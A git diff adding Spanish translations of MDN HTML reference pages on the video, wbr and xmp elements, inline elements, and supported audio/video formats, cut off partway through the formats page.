+ <dd><span class="goog-gtc-unit" id="goog-gtc-unit-25"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Un atributo que se puede leer para determinar qué intervalos de tiempo del multimedia se han almacenado en búfer.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-26"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Este atributo contiene un objeto </span></span>{{ domxref("TimeRanges") }}<span class="goog-gtc-unit" id="goog-gtc-unit-26"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr"> .</span></span></dd>
+ <dt><span class="goog-gtc-unit" id="goog-gtc-unit-27"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">{{ htmlattrdef("controls") }}</span></span></dt>
+ <dd><span class="goog-gtc-unit" id="goog-gtc-unit-28"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Si está presente este atributo, Gecko ofrecerá controles para permitir que el usuario controle la reproducción de video, incluyendo volumen, búsqueda y pausar/reanudar reproducción.</span></span></dd>
+ <dt><span class="goog-gtc-unit" id="goog-gtc-unit-29"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">{{ htmlattrdef("height") }}</span></span></dt>
+ <dd><span class="goog-gtc-unit" id="goog-gtc-unit-30"><span class="goog-gtc-from-mt goog-gtc-translatable" dir="ltr">La altura del área de visualización del vídeo en píxeles CSS.</span></span></dd>
+ <dt><span class="goog-gtc-unit" id="goog-gtc-unit-31"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">{{ htmlattrdef("loop") }}</span></span></dt>
+ <dd><span class="goog-gtc-unit" id="goog-gtc-unit-32"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Un atributo booleano; si se especifica, al alcanzar el final del video, buscaremos automáticamente hasta el principio.</span></span></dd>
+ <dt><span class="goog-gtc-unit" id="goog-gtc-unit-33"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">{{ htmlattrdef("preload") }} {{ gecko_minversion_inline("2.0") }} {{ bug(548523) }}</span></span></dt>
+ <dd><span class="goog-gtc-unit" id="goog-gtc-unit-34"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">El objetivo de este atributo enumerado es proporcionar una sugerencia al navegador sobre qué cree el autor que llevará a la mejor experiencia para el usuario .</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-35"><span class="goog-gtc-from-tm goog-gtc-from-tm-score-100 goog-gtc-translatable" dir="ltr">Puede tener uno de los siguientes valores:</span></span>
+ <ul>
+  <li><span class="goog-gtc-unit" id="goog-gtc-unit-36"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr"><span style="font-family: courier new;">none</span>: sugiere bien que el autor cree que el usuario no tendrá que consultar ese video, bien que el servidor desea minimizar su tráfico; es decir, esta sugerencia indica que no se debe almacenar en caché este video.</span></span></li>
+  <li><span class="goog-gtc-unit" id="goog-gtc-unit-37"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr"><span style="font-family: courier new;">metadatos:</span> sugiere que aunque el autor piensa que el usuario no tendrá que consultar este video, es razonable capturar los metadatos (p. ej. longitud).</span></span></li>
+  <li><span class="goog-gtc-unit" id="goog-gtc-unit-38"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr"><span style="font-family: courier new;">auto:</span> sugiere que el usuario necesita tener prioridad; es decir, esta sugerencia indica que, si es necesario, se puede descargar el video completo, incluso aunque el usuario no vaya a usarlo.</span></span></li>
+  <li><span class="goog-gtc-unit" id="goog-gtc-unit-39"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">la <em>cadena vacía:</em> que es un sinónimo del valor <span style="font-family: courier new;">auto</span>.</span></span></li>
+ </ul>
+
+ <p><span class="goog-gtc-unit" id="goog-gtc-unit-40"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Si no está configurado, su valor predeterminado está definido por el navegador (es decir, cada navegador puede elegir su propio valor predeterminado), aunque la especificación aconseje que se establezca a <span style="font-family: courier new;">metadata</span>.</span></span></p>
+
+ <div class="note"><strong><span class="goog-gtc-unit" id="goog-gtc-unit-41"><span class="goog-gtc-from-tm goog-gtc-from-tm-score-100 goog-gtc-translatable" dir="ltr">Notas de uso:</span></span></strong>
+
+ <ul>
+  <li><span class="goog-gtc-unit" id="goog-gtc-unit-42"><span class="goog-gtc-from-human goog-gtc-ph-missing goog-gtc-translatable" dir="ltr">El atributo <strong>autoplay</strong>  tiene prioridad sobre éste si se desea reproducir automáticamente un video, el navegador obviamente tendrá que descargarlo.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-43"><span class="goog-gtc-from-human goog-gtc-ph-missing goog-gtc-translatable" dir="ltr">La especificación permite establecer los atributos <strong>autoplay</strong> y <strong>preload</strong>.</span></span></li>
+  <li><span class="goog-gtc-unit" id="goog-gtc-unit-44"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">La especificación no fuerza al navegador a seguir el valor de este atributo; es tan sólo una sugerencia.</span></span></li>
+ </ul>
+ </div>
+ </dd>
+ <dt><span class="goog-gtc-unit" id="goog-gtc-unit-45"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">{{ htmlattrdef("poster") }} {{ gecko_minversion_inline("1.9.2") }}</span></span></dt>
+ <dd><span class="goog-gtc-unit" id="goog-gtc-unit-46"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Una URL que indica un marco de póster para mostrar el resultado hasta que el usuario reproduzca o busque.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-47"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Si este atributo no se especifica, no se muestra nada hasta que el primer cuadro está disponible, entonces se muestra el primer marco como el marco de póster.</span></span></dd>
+ <dt><span class="goog-gtc-unit" id="goog-gtc-unit-48"><span class="goog-gtc-from-tm goog-gtc-from-tm-score-100 goog-gtc-translatable" dir="ltr">{{ htmlattrdef("src") }}</span></span></dt>
+ <dd><span class="goog-gtc-unit" id="goog-gtc-unit-49"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">La URL del vídeo que se va a insertar.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-50"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Es opcional; podrás optar, en su lugar, por el elemento {{ HTMLElement("source") }} dentro del bloque de vídeo para especificar el video que se va a incrustar.</span></span></dd>
+ <dt><span class="goog-gtc-unit" id="goog-gtc-unit-51"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">{{ htmlattrdef("width") }}</span></span></dt>
+ <dd><span class="goog-gtc-unit" id="goog-gtc-unit-52"><span class="goog-gtc-from-mt goog-gtc-translatable" dir="ltr">La anchura del área de visualización del vídeo en píxeles CSS.</span></span></dd>
+</dl>
+
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-53"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Las compensaciones de tiempo se especifican actualmente como valores float que representan el número de segundos que se va a compensar.</span></span></p>
+
+<div class="note"><span class="goog-gtc-unit" id="goog-gtc-unit-54"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr"><strong>Nota:</strong> la definición del valor de compensación de tiempo no se ha completado en HTML 5 aún y está sujeta a cambios.</span></span></div>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre class="brush: html">&lt;video src="videofile.ogg" autoplay poster="posterimage.jpg"&gt;
+  Tu navegador no admite el elemento &lt;code&gt;video&lt;/code&gt;.
+&lt;/video&gt;
+</pre>
+
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-59"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Reproduce un vídeo, comenzando tan pronto como la recepción de video sea suficiente para permitir la reproducción sin pausas para descargar más.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-60"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Mientras que el video comienza a reproducirse, se mostrará la imagen "posterimage.jpg" en su lugar.</span></span></p>
+
+<h2 id="Compatibilidad_con_servidores"><span class="goog-gtc-unit" id="goog-gtc-unit-61"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Compatibilidad con servidores</span></span></h2>
+
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-62"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Vale la pena volver a hacer hincapié, por el momento, en que si los tipos MIME para vídeo Theora no se establecen en el servidor, tal vez el vídeo no se muestre o muestre un cuadro gris con una X (si JavaScript está activado).</span></span></p>
+
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-63"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Puedes solucionar este problema para el servidor Web Apache añadiendo la extensión utilizada por tus archivos de vídeo Theora (".ogm", ".ogv", o ".ogg" son los más comunes) al tipo MIME "video / ogg" a través del archivo "mime.types" en "/ etc / apache" o por medio de la directiva de configuración "AddType" en httpd.conf.</span></span></p>
+
+<pre><span class="goog-gtc-unit" id="goog-gtc-unit-64-goog-gtc-unit-65-goog-gtc-unit-66"><span class="goog-gtc-from-human goog-gtc-translatable">AddType video/ogg .ogm
+AddType video/ogg .ogv
+AddType video/ogg .ogg
+</span></span>
+</pre>
+
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-67"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Su proveedor de alojamiento web puede proporcionar una interfaz fácil para los cambios de configuración de tipo MIME que presentan las nuevas tecnologías hasta que tenga lugar una actualización global de forma natural.</span></span></p>
+
+<h2 id="Interfaz_DOM"><span class="goog-gtc-unit" id="goog-gtc-unit-68"><span class="goog-gtc-from-tm goog-gtc-from-tm-score-100 goog-gtc-translatable" dir="ltr">Interfaz DOM</span></span></h2>
+
+<ul>
+ <li><a href="/en/DOM/HTMLVideoElement" title="en/DOM/HTMLVideoElement"><span class="goog-gtc-unit" id="goog-gtc-unit-69"><span class="goog-gtc-from-mt goog-gtc-translatable" dir="ltr">HTMLVideoElement</span></span></a></li>
+</ul>
+
+<h2 id="Consulta_también"><span class="goog-gtc-unit" id="goog-gtc-unit-70"><span class="goog-gtc-from-tm goog-gtc-from-tm-score-100 goog-gtc-translatable" dir="ltr">Consulta también</span></span></h2>
+
+<ul>
+ <li><a class="internal" href="/es/Formatos_multimedia_admitidos_por_los_elementos_de_video_y_audio" title="es/Formatos multimedia admitidos por los elementos de video y audio"><span class="goog-gtc-unit" id="goog-gtc-unit-71"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Formatos multimedia admitidos por los elementos de audio y video</span></span></a></li>
+ <li><a class="internal" href="/es/HTML/Elemento/Audio" title="es/HTML/Elemento/Audio"><code>audio</code></a></li>
+ <li><a class="internal" href="/Es/Usar_audio_y_vídeo_en_Firefox" title="es/Usar audio y video en Firefox"><span class="goog-gtc-unit" id="goog-gtc-unit-72"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Usar audio y vídeo en Firefox</span></span></a></li>
+ <li><a class="internal" href="/En/Manipulating_video_using_canvas" title="En/Manipulating video using canvas"><span class="goog-gtc-unit" id="goog-gtc-unit-73"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Manipular vídeo por medio de canvas</span></span></a></li>
+ <li><a class="internal" href="/En/XPCOM_Interface_Reference/NsIDOMHTMLMediaElement" title="En/XPCOM Interface Reference/NsIDOMHTMLMediaElement"><code>nsIDOMHTMLMediaElement</code></a></li>
+ <li><span class="goog-gtc-unit" id="goog-gtc-unit-74"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr"><a class="external" href="http://tinyvid.tv/" title="http://tinyvid.tv/">TinyVid</a>:ejemplos de uso de ogg en HTML 5.</span></span></li>
+ <li><span class="goog-gtc-unit" id="goog-gtc-unit-75"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr"><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/#video" title="http://www.whatwg.org/specs/web-apps/current-work/#video">El elemento <code>video</code></a> (especificación de HTML 5)</span></span></li>
+ <li><a class="internal" href="/en/Configuring_servers_for_Ogg_media" title="en/Configuring servers for Ogg media"><span class="goog-gtc-unit" id="goog-gtc-unit-76"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Configuración de servidores para medios Ogg</span></span></a></li>
+</ul>
+
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-77"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">{{ languages( { "fr": "fr/HTML/Element/video","en": "en/HTML/Element/video" } ) }}</span></span></p>
diff --git a/files/es/web/html/elemento/wbr/index.html b/files/es/web/html/elemento/wbr/index.html
new file mode 100644
index 0000000000..2cee9077c4
--- /dev/null
+++ b/files/es/web/html/elemento/wbr/index.html
@@ -0,0 +1,115 @@
+---
+title: <wbr>
+slug: Web/HTML/Elemento/wbr
+tags:
+  - Elemento
+  - HTML
+  - Referencia
+  - Web
+translation_of: Web/HTML/Element/wbr
+---
+<div>{{HTMLRef}}</div>
+
+<div>El elemento HTML <em>word break opportunity </em><font face="Consolas, Liberation Mono, Courier, monospace"><code>&lt;wbr</code></font><em><font face="Consolas, Liberation Mono, Courier, monospace"><code>&gt;</code></font></em> representa una posición dentro del texto donde el explorador puede opcionalmente saltar una línea , aunque sus reglas de salto de línea de otra manera no crearían un salto en esa posición .</div>
+
+<div> </div>
+
+<div>En páginas codificadas en UTF-8 , <font face="Consolas, Liberation Mono, Courier, monospace">&lt;wbr&gt; </font>se comporta como el punto de código <code>U+200B</code><code> ZERO-WIDTH SPACE </code>. En particular se comporta como un punto de código unicode bidi BN , significando esto que no tiene efecto en ordenamiento bidi : <code>&lt;div dir=rtl&gt;123,&lt;wbr&gt;456&lt;/div&gt; </code>muestra , cuando no se rompa en dos líneas , 123, 456 y no 456 , 123 .</div>
+
+<div> </div>
+
+<p>Por la misma razón el elemento <code>&lt;wbr&gt;</code> no introduce un guión en el salto de línea  .  Para hacer aparecer un guión solo al final de la línea , usar la entidad de caracter del  guión de separación  (<code>&amp;shy;</code>) en su lugar.</p>
+
+<p>Este elemento fue implementado por primera vez en Internet Explorer 5.5 y fue oficialmente definido en HTML5 .</p>
+
+<h2 id="Contexto_de_uso">Contexto de uso</h2>
+
+<table class="standard-table" style="font-size: 14px; font-weight: normal; line-height: 1.5;">
+ <tbody>
+  <tr>
+   <td>Contenido permitido</td>
+   <td>Vacío</td>
+  </tr>
+  <tr>
+   <td>Omisión de etiquetas</td>
+   <td>Es un  {{Glossary("empty element")}}; debe de tener una etiqueta de inicio pero no debe de tener una de cierre .</td>
+  </tr>
+  <tr>
+   <td>Elementos padre permitidos</td>
+   <td>Cualquier elemento que permita  contenido estático de texto.</td>
+  </tr>
+  <tr>
+   <td>Documento normativo</td>
+   <td><a class="external" href="http://dev.w3.org/html5/spec/text-level-semantics.html#the-wbr-element">HTML 5, section 4.6.24</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Atributos">Atributos</h2>
+
+<p>Este elemento solo incluye los<a href="/es/docs/Web/HTML/Atributos_Globales"> atributos globales</a> .</p>
+
+<h2 id="Interfase_DOM">Interfase DOM</h2>
+
+<h2 id="Este_elemento_implementa_la_interface_HTMLElement_."><span style="font-size: 14px; font-weight: normal; line-height: 21px;">Este elemento implementa la interface <a href="/es/docs/Web/API/HTMLElement">HTMLElement </a>. </span></h2>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<p>La <a href="http://styleguide.yahoo.com/">guia de estilo de Yahoo </a>recomienda <a href="https://shopping.yahoo.com/9780312569846-yahoo-style-guide/">romper una URL antes de la puntuación</a> , para evitar dejar una marca de puntuación en el final de la línea , lo cual el lector podría confundir con el final de la URL .</p>
+
+<pre class="brush: html">&lt;p&gt;http://this&lt;wbr&gt;.is&lt;wbr&gt;.a&lt;wbr&gt;.really&lt;wbr&gt;.long&lt;wbr&gt;.example&lt;wbr&gt;.com/With&lt;wbr&gt;/deeper&lt;wbr&gt;/level&lt;wbr&gt;/pages&lt;wbr&gt;/deeper&lt;wbr&gt;/level&lt;wbr&gt;/pages&lt;wbr&gt;/deeper&lt;wbr&gt;/level&lt;wbr&gt;/pages&lt;wbr&gt;/deeper&lt;wbr&gt;/level&lt;wbr&gt;/pages&lt;wbr&gt;/deeper&lt;wbr&gt;/level&lt;wbr&gt;/pages&lt;/p&gt;
+</pre>
+
+<p>{{EmbedLiveSample("Example")}}</p>
+
+<h2 id="Compatibilidad_en_exploradores">Compatibilidad en exploradores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>1.0</td>
+   <td>1.0</td>
+   <td>{{CompatNo}}<sup>[1]</sup></td>
+   <td>11.7</td>
+   <td>4.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>1.5</td>
+   <td>1.0</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1]El soporte para la etiqueta <code>&lt;wbr&gt;</code> fue introducido en Internet Explorer 5.5 , aunque removido hasta la versión 7 .</p>
diff --git a/files/es/web/html/elemento/xmp/index.html b/files/es/web/html/elemento/xmp/index.html
new file mode 100644
index 0000000000..88ab19b65e
--- /dev/null
+++ b/files/es/web/html/elemento/xmp/index.html
@@ -0,0 +1,47 @@
+---
+title: <xmp>
+slug: Web/HTML/Elemento/xmp
+tags:
+  - Elemento
+  - HTML
+  - Obsoleto
+  - Referencia
+  - Web
+translation_of: Web/HTML/Element/xmp
+---
+<div>{{Obsolete_header}}</div>
+
+<h2 id="Summary" name="Summary">Resumen</h2>
+
+<p>El elemento HTML example element <font face="Consolas, Liberation Mono, Courier, monospace">&lt;xmp&gt; </font>dibuja texto entre las etiquetas de inicio y fin sin interpretar el HTML que se encuentra en medio  y lo muestra usando un tipo de letra monoespaciada . La especificación de HTML2 recomendaba que que esta debería de ser dibujada suficientemente amplia para permitir 80 caracteres por línea .</p>
+
+<div class="note">
+<p><strong>Nota: </strong>No usar este elemento .</p>
+
+<ul>
+ <li>Ha sido declarado obsoleto desde HTML3.2 y no fue implementado en una manera consistente . Fue completamente removido del lenguaje en HTML5 .</li>
+ <li>Usar el elemento  {{HTMLElement("pre")}} , o si es semánticamente adecuado , el elemento {{HTMLElement("code")}} en su lugar . Notar que necesitarás escapar los caracteres '&lt;' como '&amp;lt' para asegurarse que no se interprete como marcado .</li>
+ <li>Una letra monoespaciada también puede ser obtenida en algún elemento , aplicando el estilo  <a href="/es/docs/Web/CSS">CSS</a> adecuado usando <code>monospace </code>como el valor genérico de la fuente para la propiedad {{cssxref("font-family")}}</li>
+</ul>
+</div>
+
+<h2 id="Attributes" name="Attributes">Atributos</h2>
+
+<p>Este elemento no tiene otros atributos que los<a href="/es/docs/Web/HTML/Atributos_Globales"> atributos globales </a> comunes a todos los elementos .</p>
+
+<h2 id="DOM_interface" name="DOM_interface">Interfaz  DOM</h2>
+
+<p>Este elemento implementa la interface {{domxref('HTMLElement')}} .</p>
+
+<div class="note">
+<p><strong>Nota de implementación: </strong>hasta  Gecko 1.9.2 inclusivamente , Firefox implemente la interface {{domxref('HTMLSpanElement')}} para este elemento . </p>
+</div>
+
+<h2 id="See_also" name="See_also">Ver también</h2>
+
+<ul>
+ <li>Los elementos  {{HTMLElement("pre")}} y  {{HTMLElement("code")}} que se usan en su lugar .</li>
+ <li>Los elementos  {{HTMLElement("plaintext")}} y  {{HTMLElement("listing")}} , similares a {{HTMLElement("xmp")}} pero también obsoletos .</li>
+</ul>
+
+<div>{{HTMLRef}}</div>
diff --git a/files/es/web/html/elementos_en_línea/index.html b/files/es/web/html/elementos_en_línea/index.html
new file mode 100644
index 0000000000..192715aef3
--- /dev/null
+++ b/files/es/web/html/elementos_en_línea/index.html
@@ -0,0 +1,52 @@
+---
+title: Elementos en línea
+slug: Web/HTML/Elementos_en_línea
+tags:
+  - Guía
+  - HTML
+  - HTML5
+  - Principiante
+  - Web
+  - desarrollo
+translation_of: Web/HTML/Inline_elements
+---
+<p><span class="seoSummary">Los elementos en HTML (lenguaje de marcas de hipertexto - <strong>Hypertext Markup Language</strong>) usualmente son elementos "en línea" o <a href="/es/docs/Web/HTML/Block-level_elements" title="/es/docs/Web/HTML/Block-level_elements">elementos "en bloque"</a>. Un elemento en línea ocupa sólo el espacio delimitado por las etiquetas que definen el elemento en línea. El siguiente ejemplo demuestra la influencia de los elementos en línea:</span></p>
+
+<h2 id="Inline_example" name="Inline_example">Ejemplo en línea</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;Este &lt;span&gt;span&lt;/span&gt; es un elemento en línea; este fondo se ha coloreado para mostrar el principio y fin de la influencia del elemento en línea&lt;/p&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">span { background-color: #8ABB55; }
+</pre>
+
+<p>{{ EmbedLiveSample('Inline_example') }}</p>
+
+<h2 id="Elmentos_en_línea_vs._en_bloque">Elmentos en línea vs. en bloque</h2>
+
+<dl>
+ <dt>Formateo</dt>
+ <dd>De forma predeterminada, los elementos en línea no comienzan con la nueva línea.</dd>
+ <dt>Modelo de contenido</dt>
+ <dd>En general, los elementos en línea pueden contener únicamente los datos y otros elementos en línea.</dd>
+</dl>
+
+<h2 id="Elementos">Elementos</h2>
+
+<p>Los siguientes elementos son "en línea":</p>
+
+<ul id="inline-elements">
+ <li><a href="/es/docs/Web/HTML/Elemento/b" title="/es/docs/Web/HTML/Elemento/b">b</a>, <a href="/es/docs/Web/HTML/Elemento/big" title="/es/docs/Web/HTML/Elemento/big">big</a>, <a href="/es/docs/Web/HTML/Elemento/i" title="/es/docs/Web/HTML/Elemento/i">i</a>, <a href="/es/docs/Web/HTML/Elemento/small" title="/es/docs/Web/HTML/Elemento/small">small</a>, <a href="/es/docs/Web/HTML/Elemento/tt" title="/es/docs/Web/HTML/Elemento/tt">tt</a></li>
+ <li><a href="/es/docs/Web/HTML/Elemento/abbr" title="/es/docs/Web/HTML/Elemento/abbr">abbr</a>, <a href="/es/docs/Web/HTML/Elemento/acronym" title="/es/docs/Web/HTML/Elemento/acronym">acronym</a>, <a href="/es/docs/Web/HTML/Elemento/cite" title="/es/docs/Web/HTML/Elemento/cite">cite</a>, <a href="/es/docs/Web/HTML/Elemento/code" title="/es/docs/Web/HTML/Elemento/code">code</a>, <a href="/es/docs/Web/HTML/Elemento/dfn" title="/es/docs/Web/HTML/Elemento/dfn">dfn</a>, <a href="/es/docs/Web/HTML/Elemento/em" title="/es/docs/Web/HTML/Elemento/em">em</a>, <a href="/es/docs/Web/HTML/Elemento/kbd" title="/es/docs/Web/HTML/Elemento/kbd">kbd</a>, <a href="/es/docs/Web/HTML/Elemento/strong" title="/es/docs/Web/HTML/Elemento/strong">strong</a>, <a href="/es/docs/Web/HTML/Elemento/samp" title="/es/docs/Web/HTML/Elemento/samp">samp</a>, <a href="/es/docs/Web/HTML/Elemento/time" title="/es/docs/Web/HTML/Elemento/time">time</a>, <a href="/es/docs/Web/HTML/Elemento/var" title="/es/docs/Web/HTML/Elemento/var">var</a></li>
+ <li><a href="/es/docs/Web/HTML/Elemento/a" title="/es/docs/Web/HTML/Elemento/a">a</a>, <a href="/es/docs/Web/HTML/Elemento/bdo" title="/es/docs/Web/HTML/Elemento/bdo">bdo</a>, <a href="/es/docs/Web/HTML/Elemento/br" title="/es/docs/Web/HTML/Elemento/br">br</a>, <a href="/es/docs/Web/HTML/Elemento/Img" title="/es/docs/Web/HTML/Elemento/Img">img</a>, <a href="/es/docs/Web/HTML/Elemento/map" title="/es/docs/Web/HTML/Elemento/map">map</a>, <a href="/es/docs/Web/HTML/Elemento/object" title="/es/docs/Web/HTML/Elemento/object">object</a>, <a href="/es/docs/Web/HTML/Elemento/q" title="/es/docs/Web/HTML/Elemento/q">q</a>, <a href="/es/docs/Web/HTML/Elemento/Script" title="/es/docs/Web/HTML/Elemento/Script">script</a>, <a href="/es/docs/Web/HTML/Elemento/span" title="/es/docs/Web/HTML/Elemento/span">span</a>, <a href="/es/docs/Web/HTML/Elemento/sub" title="/es/docs/Web/HTML/Elemento/sub">sub</a>, <a href="/es/docs/Web/HTML/Elemento/sup" title="/es/docs/Web/HTML/Elemento/sup">sup</a></li>
+ <li><a href="/es/docs/Web/HTML/Elemento/button" title="/es/docs/Web/HTML/Elemento/button">button</a>, <a href="/es/docs/Web/HTML/Elemento/Input" title="/es/docs/Web/HTML/Elemento/Input">input</a>, <a href="/es/docs/Web/HTML/Elemento/label" title="/es/docs/Web/HTML/Elemento/label">label</a>, <a href="/es/docs/Web/HTML/Elemento/select" title="/es/docs/Web/HTML/Elemento/select">select</a>, <a href="/es/docs/Web/HTML/Elemento/textarea" title="/es/docs/Web/HTML/Elemento/textarea">textarea</a></li>
+</ul>
+
+<h3 id="Ver_también" name="Ver_también">Ver también</h3>
+
+<ul>
+ <li><a href="/es/docs/Web/HTML/Block-level_elements" title="/es/docs/Web/HTML/Block-level_elements">Elementos en bloque</a></li>
+</ul>
diff --git a/files/es/web/html/formatos_admitidos_de_audio_y_video_en_html5/index.html b/files/es/web/html/formatos_admitidos_de_audio_y_video_en_html5/index.html
new file mode 100644
index 0000000000..086aee4e7b
--- /dev/null
+++ b/files/es/web/html/formatos_admitidos_de_audio_y_video_en_html5/index.html
@@ -0,0 +1,280 @@
+---
+title: Formatos de medios admitidos por los elementos HTML audio y video
+slug: Web/HTML/Formatos_admitidos_de_audio_y_video_en_html5
+translation_of: Web/Media/Formats
+---
+<p>Las etiquetas {{ HTMLElement("audio") }} y {{ HTMLElement("video") }} <span id="result_box" lang="es"><span class="hps">proporcionan apoyo</span> <span class="hps">para la reproducción de</span> <span class="hps">audio</span> <span class="hps">y video</span> <span class="hps">sin necesidad de</span> <span class="atn hps">plug-</span><span>ins.</span> <span class="hps">Codecs</span> <span class="hps">de vídeo</span> <span class="hps">y codecs</span> <span class="hps">de audio</span> <span class="hps">se utilizan para manejar</span> <span class="hps">vídeo y</span> <span class="hps">audio,</span> <span class="hps">y los diferentes</span> <span class="hps">codecs</span> <span class="hps">ofrecen diferentes</span> <span class="hps">niveles de compresión</span> <span class="hps">y calidad.</span> <span class="hps">Un</span> <span class="hps">formato de contenedor</span> <span class="hps">se utiliza para</span> <span class="hps">almacenar y transmitir</span> <span class="hps">el vídeo</span> <span class="hps">y el audio</span> <span class="hps">codificado</span> <span class="hps">juntos.</span> <span class="hps">Muchos</span> <span class="hps">codecs</span> <span class="hps">y formatos</span> <span class="hps">de contenedor</span> <span class="hps">existe</span><span>,</span> <span class="hps">e incluso hay</span> <span class="hps">más combinaciones de</span> <span class="hps">ellos.</span> <span class="hps">Para su uso</span> <span class="hps">en la web,</span> <span class="hps">sólo un puñado de</span> <span class="hps">combinaciones</span> <span class="hps">son relevantes.</span></span></p>
+
+<p>Diferentes navegadores no soportan los mismos formatos para audio y video en HTML5, principalmente debido a problemas de patentes. El área de formatos de medios en la web ha sufrido mucho por la ley de patentes en muchos paises, incluyendo EE.UU y la UE (La memoria de las patentes en este articulo se proporciona tal cual y sin ningun tipo de garantia.)</p>
+
+<p><span id="result_box" lang="es"><span class="hps">Para hacer</span> <span class="hps">un vídeo de</span> <span class="hps">HTML5</span><span>, que</span> <span class="hps">trabaja en</span> <span class="hps">las nuevas versiones de</span> <span class="hps">los principales navegadores</span><span>, puede</span> <span class="hps">usar el elemento {{HTMLElement("source")}} para reproducir</span> <span class="hps">en formatos WebM</span> o el formato <span class="hps">AAC</span> <span class="hps">MPEG</span> <span class="hps">H.264,</span> <span class="hps">usando el</span> <span class="hps">elemento de origen</span> <span class="hps">de esta manera:</span></span></p>
+
+<pre class="brush: html">&lt;video controls&gt;
+  &lt;source src="somevideo.webm" type="video/webm"&gt;
+  &lt;source src="somevideo.mp4" type="video/mp4"&gt;
+  I'm sorry; your browser doesn't support HTML5 video.
+  &lt;!-- You can embed a Flash player here, to play your mp4 video in older browsers --&gt;
+&lt;/video&gt;
+</pre>
+
+<h3 id="WebM">WebM</h3>
+
+<p><span id="result_box" lang="es"><span class="hps">El formato</span> <a href="http://www.webmproject.org/" title="http://www.webmproject.org/"><span class="hps">WebM</span></a> <span class="hps">se basa en</span> <span class="hps">una versión restringida</span> <span class="hps">del</span> <span class="hps">formato contenedor</span> <span class="hps">Matroska</span><span>.</span> <span class="hps">Siempre</span> <span class="hps">utiliza</span> <span class="hps">el códec de vídeo</span> <span class="hps">VP8</span> <span class="hps">y</span> <span class="hps">el códec de audio</span> <span class="hps">Vorbis</span><span>.</span> <span class="hps">WebM</span> <span class="hps">es</span> <span class="hps">soportado nativamente</span> <span class="hps">en</span> <span class="hps">Gecko</span> <span class="atn hps">(</span><span>Firefox)</span><span>, Chrome</span> <span class="hps">y</span> <span class="hps">Opera,</span> <span class="hps">y el</span> <span class="hps">soporte para el formato</span> <span class="hps">se puede agregar a</span> <span class="hps">Internet</span> <span class="hps">Explorer y</span> <span class="hps">Safari</span> <span class="hps">mediante la instalación de</span> <span class="hps">un add</span><span>-on</span><span>.</span></span></p>
+
